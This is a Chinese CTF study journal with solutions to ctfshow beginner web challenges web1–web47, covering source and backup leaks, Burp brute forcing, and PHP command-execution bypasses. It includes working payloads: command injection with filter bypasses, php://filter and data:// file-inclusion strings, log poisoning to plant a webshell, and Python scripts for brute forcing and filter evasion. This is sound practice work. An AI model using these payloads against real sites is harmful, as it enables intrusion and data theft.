4.21-4.27周记


碎碎念

预备web手,启动!

ctfshow - web入门 - web1

知识点省流

网页源代码

WP

靶机源代码中的注释藏了flag

image-20250421184848063

ctfshow - web入门 - web2

知识点省流

网页源代码但不能按f12

WP

还是藏在源代码,但是限制了f12、右键等一些操作

image-20250421185300058

ctrl+u或者view-source:可以查看

image-20250421185131415

ctfshow - web入门 - web3

知识点省流

网页请求头信息

WP

查看网页源码发现没内容,在开发者工具的network里看看网页的请求头信息,找到了flag

image-20250421185627844

ctfshow - web入门 - web4

知识点省流

robots.txt文件泄漏

WP

根据题目信息直接访问robots.txt,其展示了该靶机不让爬取的内容/flagishere.txt

image-20250421185729178

访问该内容得到flag

image-20250421185936148

ctfshow - web入门 - web5

知识点省流

phps源码泄露

WP

根据题目信息,访问index.phps得到源码,打开看到flag

image-20250421190159879

ctfshow - web入门 - web6

知识点省流

www.zip源码泄露

WP

解压源码到当前目录,测试正常,收工

题目提示了解压,猜测是www.zip源码泄露,访问www.zip得到一个zip文件,里面有一个假flag,但是源码告诉我们flag在fl000g.txt

image-20250421190627009

直接访问即可(虚晃你一下)

image-20250421190652142

ctfshow - web入门 - web7

知识点省流

.git源码泄露

WP

版本控制很重要,但不要部署到生产环境更重要。

题目信息提示我们是.git源码泄露(版本控制显然是跟仓库相关的,那就是git了,Git是一个开源的分布式版本控制系统),访问.git目录即可

image-20250421190758755

ctfshow - web入门 - web8

知识点省流

svn源码泄露

WP

与上题类似,不过是svn源码泄(SVN是一个开放源代码的版本控制系统)

image-20250421191030464

ctfshow - web入门 - web9

知识点省流

vim缓存信息泄露

WP

发现网页有个错别字?赶紧在生产环境vim改下,不好,死机了

题目信息提示了vim,而且还说死机了,指向了vim缓存信息泄露,访问/index.php.swp会下载一个文件,打开得到flag

image-20250421191504443

知识补充:
image-20250421191742238

ctfshow - web入门 - web10

知识点省流

cookie

WP

cookie 只是一块饼干,不能存放任何隐私数据

根据题目信息可以知道flag藏在cookie里面,在开发者工具里找一下就好(顺带一下%7B是{

image-20250421192018916

ctfshow - web入门 - web11

知识点省流

域名txt记录泄露

WP

没搜索出来,不知道是怎么个情况,反正就是dns查询txt记录会找到flag

ctfshow - web入门 - web12

知识点省流

robots源码泄露+页面信息泄露

WP

开始有点实战感觉了,dirsearch一下,发现有robots泄露,还有个admin页面(robots泄露也是指向这个)

image-20250421193616854

但是访问admin需要密码,根据hint,密码就在页面最下面

image-20250421193715512

然后访问admin页面得到flag

ctfshow - web入门 - web13

知识点省流

页面泄露

WP

技术文档里面不要出现敏感信息,部署到生产环境后及时修改默认密码

根据题目信息,在网页最下方发现一个document

image-20250421194206426

点开后打开一个文档,然后访问后台即可得到flag

image-20250421194236163

image-20250421194128231

ctfshow - web入门 - web14

知识点省流

emm路径泄露

WP

dirsearch靶机,发现了editor这个路由

image-20250421194912176

进去后可以看到有一个图片上传功能,在里面可以查看服务器的目录

image-20250421195001599

在网站的源目录可以找到一个nothinghere目录,里面有一个fl000g.txt文件

image-20250421195042976

访问对应路径即可得到flag

image-20250421195243895

ctfshow - web入门 - web15

知识点省流

WP

公开的信息比如邮箱,可能造成信息泄露,产生严重后果

dirsearch扫到admin,但是不知道密码(用户名是admin),但是有忘记密码的选项,需要我们知道作者的所在地

image-20250421200004592

根据题目信息可以在最下方找到邮箱信息

image-20250421200055249

用qq可以搜到作者在西安,修改密码后登录得到flag

image-20250421200244792

image-20250421195924515

ctfshow - web入门 - web16

知识点省流

雅黑php探针

WP

对于测试用的探针,使用完毕后要及时删除,可能会造成信息泄露

题目信息提示考察的是php探针,访问tz.php(雅黑php探针的访问路径是tz.php),在里面打开phpinfo

image-20250421201132948

在phpinfo里找到flag

image-20250421200908830

ctfshow - web入门 - web17

知识点省流

sql文件备份泄露

WP

dirsearch靶机,发现有一个backup.sql文件可以访问,访问下载该文件,打开得到flag

image-20250421201327483

ctfshow - web入门 - web18

知识点省流

前端js分析(web小游戏经典)

WP

打开靶机看见是web小游戏,极大概率就是看js,查看源码发现有一个js文件

image-20250421201802920

查看其内容,在最下面发现一串可疑的unicode字符串

image-20250421201823932

丢给随波(厨子解不出来,可能是因为中文),解出来一个hint,让我们去110.php看看

image-20250421201837938

访问一下得到flag

image-20250421201659477

ctfshow - web入门 - web19

知识点省流

前端泄露+aes加密

WP

密钥什么的,就不要放在前端了

根据题目信息,查看网页源代码,发现放了密码相关的内容,不难看出来前端对用户输入的密码进行了加密处理,当加密后的值等于a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04时输出flag,不难看出这里是aes-cbc加密

image-20250421202954155

厨子处理一下得到密码

image-20250421203129480

登录成功得到flag

image-20250421202938537

ctfshow - web入门 - web20

知识点省流

mdb文件泄露

WP

mdb文件是早期asp+access构架的数据库文件,文件泄露相当于数据库被脱裤了。

根据题目信息可以知道是mdb文件泄露,dirsearch靶机,发现有一个db路径可以访问,带上db接着dirsearch,可以扫到一个mdb文件

image-20250421204258088

访问后下载得到该文件,用notepad打开搜索ctfshow即可得到flag

image-20250421204330170

ctfshow - web入门 - web21

知识点省流

bp抓包爆破

WP

打开靶机发现需要我们填写用户名和密码,用bp抓包看看,可以看到请求头里有一个Authorization值,而最后跟的字符串不难看出是base64字符串

image-20250421210501281

解码后发现内容是输入的username:password

image-20250421210937319

而题目还给了一个爆破字典,所以我们用bp自带的功能爆破一下,payloads里面设置类型为自定义爆破,第一列设置为admin,分隔符为:,第二列则导入字典,然后在payload processing中设置base64编码和取消url编码即可,然后开始爆破(用汉化版的bp会报错,所以换了英文的),爆破成功后查看回显得到flag

image-20250421210445586

ctfshow - web入门 - web22

知识点省流

子域名爆破

WP

用子域名扫描器扫描给的域名,但是子域名好像失效了,所以pass(https://scan.javasec.cn/找了个在线扫描)

ctfshow - web入门 - web23

知识点省流

get传参爆破

WP

靶机里给出了源码,要求我们用GET方式传入符合格式的token值即可输出flag,要求如下

image-20250421213119916

token值的md5符合如下条件:
$token[1] === $token[14] === $token[17]
$token[1] 必须是数字字符(0~9) (因为分子不为0)
(3 * intval($token[1])) / intval($token[1]) === intval($token[31])
=> 即:token[31] == 3

所以简单进行爆破即可(不能用bp爆破,因为其响应码和长度都是一样的),让gpt写个python脚本

import requests

def brute():
    url = "http://cabbfdfc-62cb-4bef-bc3d-99e2cb47993e.challenge.ctf.show"

    print('爆破开始!')

    for i in range(100000):
        try:
            if i % 50 == 0 and i != 0:
                print('已爆破50轮,暂未成功,继续爆破,当前值为:'+str(i))
            response = requests.get(url, params={'token': str(i)})
            if 'ctfshow' in response.text:
                print('当前轮次:' + str(i))
                print('爆破成功,flag为 ———— ' + response.text)
                break
        except:
            print('gg')


if __name__ == '__main__':
    brute()

# print(response.text)

image-20250422132148765

ctfshow - web入门 - web24

知识点省流

伪随机数

WP

代码审计,当通过get方式传参传入的值与mt_srand()函数生成的随机数相同时则输出flag

image-20250422133221437

这里的mt_srand()函数固定了随机种子,所以直接把这个值输出出来传入即可得到flag

image-20250422133337536

image-20250422133403958

ctfshow - web入门 - web25

知识点省流

mt_rand伪随机爆破

WP

再说

ctfshow - web入门 - web26

知识点省流

bp弱密码爆破

WP

用bp抓包爆破数据库密码即可

image-20250422140358369

ctfshow - web入门 - web27

知识点省流

bp日期爆破

WP

进入靶机发现有一个录取名单

image-20250422142507023

打开可以得到一些学生信息,其中有他们的身份证

image-20250422142536203

而靶机中还能看到一个学籍信息查询系统,可以通过姓名和身份证查询

image-20250422142814501

用bp抓包然后爆一下身份证

image-20250422142840994

爆破成功后查询得到学号和身份证,登录得到密码

image-20250422142408380

ctfshow - web入门 - web28

知识点省流

bp集束炸弹爆破

WP

进入靶机会发现其路径很奇怪,套了两层,实际上是要爆破flag具体所在的路径

image-20250422144149513

用bp抓包,然后爆破两个目录即可(用集束炸弹cluster bomb),根据hint从0-100爆破即可

image-20250422144125295

ctfshow - web入门 - web29

知识点省流

ez命令执行

WP

进入靶机开始代码审计,不难看出进行了正则判断,如果判断到flag则不执行参数c的命令(/i指忽略大小写)

image-20250422145850181

可以看到有eval函数,所以传入system('command');去执行我们要执行的系统命令

先传入ls看看目录有什么,看到有flag.php,显然flag在里面,但是我们不能直接输入flag

image-20250422145816209

方法很多了,用通配符绕过一下即可

cat f*	(cat看不到内容是因为被注释了,看看源码就有了
tac f*
more f*
grep ctfshow f*

image-20250422145757732

ctfshow - web入门 - web30

知识点省流

passthru函数执行系统命令+某些绕过

WP

可以看到这题把system和php也给ban了,那就得想办法用别的函数或者绕过来执行系统命令

image-20250422150630152

这里可以用passthru去执行系统命令,使用方法与system相同

image-20250422150556014

当然还有其他解法,比如用exec将flag.php复制到另一个文档,然后直接访问这个文档

image-20250422151032287

或者传入以下值

echo `nl fl''ag.p''hp`;		# linux里,``内的字符会当做命令执行

image-20250422151122006

ctfshow - web入门 - web31

知识点省流

%09绕过空格限制

WP

打开靶机审计代码,可以看到flag/system/php/cat/sort/shell/./ (空格)都被过滤了

system可以用passthru绕过,cat可以用tac绕过,而空格则可以用%09绕过(tab的url编码)

image-20250422154630341

?c=passthru("tac%09f*");

image-20250422155106081

ctfshow - web入门 - web32

知识点省流

php伪协议+文件包含+日志注入

WP

这次过滤的内容更多了flag/system/php/cat/sort/shell/./ /echo/;/(/单引号,所以前面的payload都不好使了

image-20250422163450927

这里需要通过文件包含漏洞配合文件包含读取flag.php的内容,payload如下,可以读取到flag.php的base64编码数据,丢给厨子解码即可

?c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

%09绕过空格过滤
include $_GET[1] 文件包含漏洞
?>绕过;过滤
php://filter php伪协议,对打开的数据流进行筛选过滤
read=convert.base64-encode 通过base64编码读取数据
resource=flag.php 读取的文件是flag.php

为什么1不能直接等于flag.php,因为flag.php直接被include读取时会被当做php代码执行,从而无法获取里面的内容

image-20250422164244983

但是,如果我们并不知道flag.php的位置怎么办,这时候就可以用到日志注入

一样通过文件包含漏洞,读取nginx的访问日志(默认位置是/var/log/nginx/access.log)

?c=include%09$_GET[1]?>&1=../../../../../var/log/nginx/access.log

image-20250422171219275

然后用bp抓包,在user-agent头里加上一句话木马,在最后蚁剑连接这个路径即可访问到服务器了,找到flag.php即可

image-20250422171329611

ctfshow - web入门 - web33

知识点省流

php伪协议+文件包含+日志注入

WP

跟上题差不多,多过滤了一个双引号,一样用php伪协议+文件包含就好,payload一样

ctfshow - web入门 - web34

知识点省流

php伪协议+文件包含+日志注入

WP

跟上题差不多,多过滤了一个冒号,一样用php伪协议+文件包含就好,payload一样

ctfshow - web入门 - web35

知识点省流

php伪协议+文件包含+日志注入

WP

跟上题差不多,多过滤了一个=<号,一样用php伪协议+文件包含就好,payload一样

ctfshow - web入门 - web36

知识点省流

php伪协议+文件包含+日志注入

WP

老样子多了一些过滤,过滤了/和数字,所以文件包含的时候不能传1了,修改一下payload即可

?c=include%09$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

image-20250422172556483

ctfshow - web入门 - web37

知识点省流

data伪协议

WP

打开靶机,题目发生了变化,过滤变少了,只过滤flag,but过它居然帮我们把文件包含include给写到源码里面去了,他这波操作直接导致我们没办法使用之前的payload绕过了(因为用php伪协议的话最后是要跟flag.php的)

这里需要用另一种伪协议,data,它允许我们通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行

协议格式: data:资源类型;编码,内容

image-20250422205537227

所以我们可以用data执行php命令,payload如下

?c=data://text/plain,<?php system("tac f*")?>

image-20250422205530134

ctfshow - web入门 - web38

知识点省流

data伪协议+base64编码

WP

跟上题差不多,不过过滤了php,那我们可就不能用php命令去执行了

image-20250422210253114

但是data伪协议还支持进行编码,所以我们可以将php脚本进行base64加密后再传入

?c=data://text/plain;base64,PD9waHAKCXN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=

image-20250422210219753

ctfshow - web入门 - web39

知识点省流

data伪协议

WP

又有了一些变化,include函数里面拼接了".php",可以限制php伪协议,但这不影响data伪协议,因为data伪协议传入时已经当做代码执行了

image-20250422210818363

所以直接用前两题的payload都行

?c=data://text/plain,<?php system("tac f*")?>

image-20250422210810615

ctfshow - web入门 - web40

知识点省流

无参命令执行

WP

这次过滤又变多了,即便如此,可以看到英文、下划线和英文括号(过滤的是中文括号)是可以用的,所以这里其实是要用一些函数去想办法读取flag.php的内容

image-20250422211419058

?c=show_source(next(array_reverse(scandir(getcwd()))));
?c=print_r(next(array_reverse(scandir(getcwd()))));
?c=highlight_file(next(array_reverse(scandir(getcwd()))));

getcwd() ——> 获取当前目录
scandir() ——> 扫描指定目录的文件
array_reverse() ——> 数组倒置
next() ——> 使函数指向第二个数据
show_source() ——> 查看文件内容

image-20250422212204972

ctfshow - web入门 - web41

知识点省流

按位或|绕过

WP

这题过滤了数字/字母/^/+/~/$/[/]/{/}/&/-,大小写字母和数字都没了,基本就说明需要我们构造对应的命令字符串去绕过限制了,而这题里面按位与&,按位异或^,取反~都被过滤了,而按位或|反而还可以用

image-20250422214117213

所以就是需要用按位或,将没被过滤的字符按位或得到我们要的命令,然后传入即可

这里找了个大佬的脚本跑

import re
import requests

url="http://ba4ba572-e207-4303-b1e7-089212133199.challenge.ctf.show/"

a=[]
ans1=""
ans2=""
for i in range(0,256):
    c=chr(i)
    tmp = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',c, re.I)
    if(tmp):
        continue
        #print(tmp.group(0))
    else:
        a.append(i)

# eval("echo($c);");
mya="system"  #函数名 这里修改!
myb="cat flag.php"      #参数
def myfun(k,my):
    global ans1
    global ans2
    for i in range (0,len(a)):
        for j in range(i,len(a)):
            if(a[i]|a[j]==ord(my[k])):
                ans1+=chr(a[i])
                ans2+=chr(a[j])
                return;
for k in range(0,len(mya)):
    myfun(k,mya)
data1="(\""+ans1+"\"|\""+ans2+"\")"
ans1=""
ans2=""
for k in range(0,len(myb)):
    myfun(k,myb)
data2="(\""+ans1+"\"|\""+ans2+"\")"

print(data1)
print(data2)

data={"c":data1+data2}
r=requests.post(url=url,data=data)
print(r.text)

image-20250422214525798

ctfshow - web入门 - web42

知识点省流

%0a截断

WP

这次源码中直接将c用system执行了,而且没有过滤,所以可以直接传入cat flag.php,但是后面可以看到拼接了>/dev/null 2>&1,说人话就是会将输出清除(重定向到null去了)

image-20250422215555506

这里可以用%0a截断一下(url解码就是回车)

image-20250422215524363

ctfshow - web入门 - web43

知识点省流

%0a截断

WP

跟上题差不多,不过把cat和冒号过滤了,用别的就好了

image-20250422220157518

image-20250422220138132

ctfshow - web入门 - web44

知识点省流

%0a截断

WP

老样子,跟上题一个payload

image-20250422220333984

?c=tac f*%0a

image-20250422220321164

ctfshow - web入门 - web45

知识点省流

%09 %0a过滤

WP

空格被过滤了,用%09绕过(或者IFS9),最后%0a截断(也可以用||

?c=tac%09f*%0a

image-20250422220518317

ctfshow - web入门 - web46

知识点省流

?绕过 unicode编码绕过

WP

可以看到过滤了很多内容,其中比较关键的是数字,*,$

但事实上%0a %09这些绕过还能用(因为其实是unicode编码),然后不能用*我们就用?去代替即可

image-20250422230236009

?c=tac%09fla?.php%0a

image-20250422230225229

ctfshow - web入门 - web47

知识点省流

?绕过 unicode编码绕过

WP

与上一题一个payload(全是无效限制

image-20250422230754621

image-20250422230815704

qwq